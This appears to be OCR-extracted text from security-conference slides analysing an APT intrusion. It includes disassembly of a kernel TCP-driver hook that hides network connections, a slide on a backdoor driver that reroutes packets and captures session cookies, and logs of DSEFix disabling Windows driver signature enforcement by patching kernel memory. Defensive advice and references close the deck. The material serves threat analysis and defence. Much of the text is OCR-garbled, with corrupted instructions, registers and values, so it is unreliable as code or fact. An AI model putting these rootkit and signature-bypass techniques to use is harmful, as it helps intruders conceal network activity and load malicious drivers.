mov
lea
mowv
push
mov
push
mow
lea
push
push
push
push
push
push
mowv
mow
mowv
call
{1l
cmp
pop
pop
setz
pop
mov
pop
add
retn

edx
ebp
esp
ecH
esp
BCH
[esp+
14h
esp
BCH
BCH
edx

edx
ebhx
(1}
ebhx
ECX

esp
esp

esp
eax
edx
eax.,
edi
esi
dl
ebhp
eax
ehx
esp
8

edx

BB Bh

BB4h

esp

BB4h

BEBh

esi-

esp

ab4h
80 4h
ab4h

edx
ebx

edx

9Cch

; CODE XREF: IOcontrolEnumConnections+45Tj

IOCTL _payload.ID.toi entity.tei instance], edx

IOCTL payload.ID.toi class], edx
8B4h+I0CTL_payload]
IOCTL payload.ID.toi type], edx

IOCTL _payload.ID.toi id], edx

DriverIoControlStruct.TCP_or HSI handle]
BBCh+io_status block]
; IOCTL_TCP_QUERY_INFORMATION EX;8x128883;

IOCTL payload.ID.toi entity.tei entity], 408h ; 7?77
I0CTL_payload.ID.toi_id], 2@6h ; 77
IOCTL payload.ID.toi class], 4848h ; ?77

; MtDeviceloControlFile









TCPDriverHook  proc near ; DATA XREF: HookDewiceTCP+AF Lo

PDEVICE OBJECT dword ptr 8

pIRP dword ptr @Ch
mov edi, edi
push ebp
moy ebp, esp
push ebhx
push esi
push edi
mov edi ebp+pIRP
mou esi edi+6Bh ; IoGetCurrentIrpStackLocation()
cmp esi+I0 STACK LOCATIOH.MinorFunction], @
jnz
cmp esi+I0 _STACK LOCATIOH.Parameters.DeviceloControl.loControlCode 1286883h
jnz
moy ebx, [esi+I0 STACK LOCATION.Parameters.DeviceloControl . Type3InputBuffer
®or BCX, PCX
cmp ebx, ecx
jz
cmp ebx+TCP_REQUEST QUERY IWHFORMATION EX.ID.toi entity.tei entity], 486h
jnz
mouv Eax ebx+TCP_REQUEST_QUERY_IHFORHATION EX.ID.toi_id
cmp eax, 181h
jz short
cmp eax, 182h
jz short
cmp eax, 118h
jz short
cmp eax, 288h
jnz
cmp ebx+TCP_REQUEST_QUERY_IHFORHATION EX.ID.toi_class L848h
jnz
moy eax e5i+I0 STACK LOCATIOH.Parameters.DeviceloControl.InputBufferLength
mou ehp+pIRP ecx

cmp eax, 18h



RBDOOR ROUTING

Everything done via IP/TCP header modification
Main functionality:

- Drop packets from blacklist
- Route packets to new destination port in whitelist
- Capture session cookies by routing to magic port



NOT EVEN NORTON DSE WILL SAVE YOU

Sometimes you just want to load your dodgy network
driver on an x64 system

DSE from Vista onwards “stops” that

Unless ... 1t doesn't?
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.98669100
. 05845451
.058594566
. 05898571
.05904102
. 05910206
.08598141%9
.09016132
.09032536
.09039307
.09101008
.09122658
.09135628
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swlszersradminsDesktop>dsef ix Events: 3

ssUserssadminsDesktop>

Debug Print
[1996] SHIMVIEW: ShimInfo(Complete)

[1996] [DF] DSEFIX v1.0 started (c) 2014 EP XOFF, MP ART, nrin

[1%96] [DF] Supported x64 05: from NT&.0 up to NT6.3
[1556] [DF] D5E will be disabled

[1886] [DF] Load driver privilege adjusted

[1556] [DF] Vulnerable driver loaded

[1396] [DF] Windows v6&.3

[1996] [DF] Target module C:\Windows\=system32\CI.DLL
[19968] [DF] Module base FFFFFE00C6200000

[199&] [DF] Zpply patch to address FFFFFEQOCE&215360
[1994] [DF] Eernel memory patched ‘p

[199&6] [DF] Cleaning up
[1996] [DF] Finish
[1112] SHIMVIEW: ShimInfo (Complete) | &S B
[2900] SHIMVIEW: ShimInfo(Complete)

[2200] [DF] DSEFIX vl.0 started (c) 2014 ]
[2500] [DF] Supported x64 05: from NT6.0 ¥
[2500] [DF] DSE will be (re)enabled

[2500] [DF] Load driver privilege adjusted
[2800] [DF] Vulnerable driver loaded
[2900] [DF] Windows v6.3

[2200] [DF] Target module C:\Windows\syste
[2900] [DF] Module base FFFFFE00C6&200000
[2500] [DF] Apply patch to address FFFFFE{
[2900] [DF] Eernel memory patched

[2500] [DF] Cleaning up

File Monitor Help

Event Time

£2DrvMon 13:37:58.705
Imageload 13:38:03.111
.Captured  13:38:03.127

C\Windows\system32\cmd.e|

wUserssadminsDesktopiver

Windows [Version 6.3.9600]

ssUserssadminsDesktoprwhoami
estpcsadmin

sUserssadminsDesktop>dsefix —e

Driver Maonitor

Description

DrvMong4.sys loaded, output directory C:\Windows\TEMP
C:\Windows\system32\drivers'ultrad.sys

C:\Windows {TEMP\DM_0000C3CA-00000000-ultra4.sys
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OUR SCENARIO... SO FAR

SecureWorks




TL: DR

“APT’s - mostly not very A, but usually very P

80/20 of network security will thwart the average
intruder

The adversary reuses tools and tactics; if they get in,
you should have home ground advantage. Use it.



REFERENCES & QUESTIONCES

DYNDNS LIST https://github.
com/EmergingThreats/et-luajit-scripts

DNSTUNNEL https://github.com/iagox86/dnscat?2
FWUNIT http://fwunit.readthedocs.org/en/latest/



